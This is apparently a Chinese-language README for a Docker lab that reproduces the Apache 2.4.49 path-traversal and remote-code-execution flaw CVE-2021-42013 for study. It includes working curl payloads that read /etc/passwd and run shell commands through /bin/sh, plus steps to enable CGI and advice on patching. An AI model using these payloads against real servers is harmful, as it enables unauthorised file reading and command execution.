在本项目中,我使用Docker搭建的实验室环境展示了Apache HTTP Server 2.4.49版本中存在的CVE-2021-42013漏洞。
目的是在可控环境中研究漏洞的产生原理、运行机制及其对系统的影响。
本研究仅供教育和实验室目的使用。
.
├── Dockerfile
├── index.html
└── README.md
运行项目之前,需要安装以下软件:
首先,将仓库下载到您的计算机。
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
进入目录。
cd apache-cve-2021-42013-lab
创建Docker镜像。
docker build -t apache-2.4.49-src .
启动容器。
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
进入容器。
docker exec -it apache-src /bin/bash
检查Apache版本。
/usr/local/apache2/bin/httpd -v
退出容器:
exit
您可以使用以下命令检查CGI模块是否已启用。
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
然后重新启动Apache。
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
关闭CGI模块:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
要查看更多系统信息:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
安装完成后:
客户端 (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL规范化错误
│
▼
路径遍历
│
├──────────────► CGI关闭
│ │
│ ▼
│ 可以访问文件
│
▼
CGI启用
│
▼
可执行/bin/sh
│
▼
远程代码执行 (RCE)
要演示RCE场景,需要启用mod_cgi模块。
建议将Apache HTTP Server升级到2.4.51或更高版本以修复此漏洞。此外,如果不使用CGI,建议禁用它,并仅为必要目录定义适当的访问权限。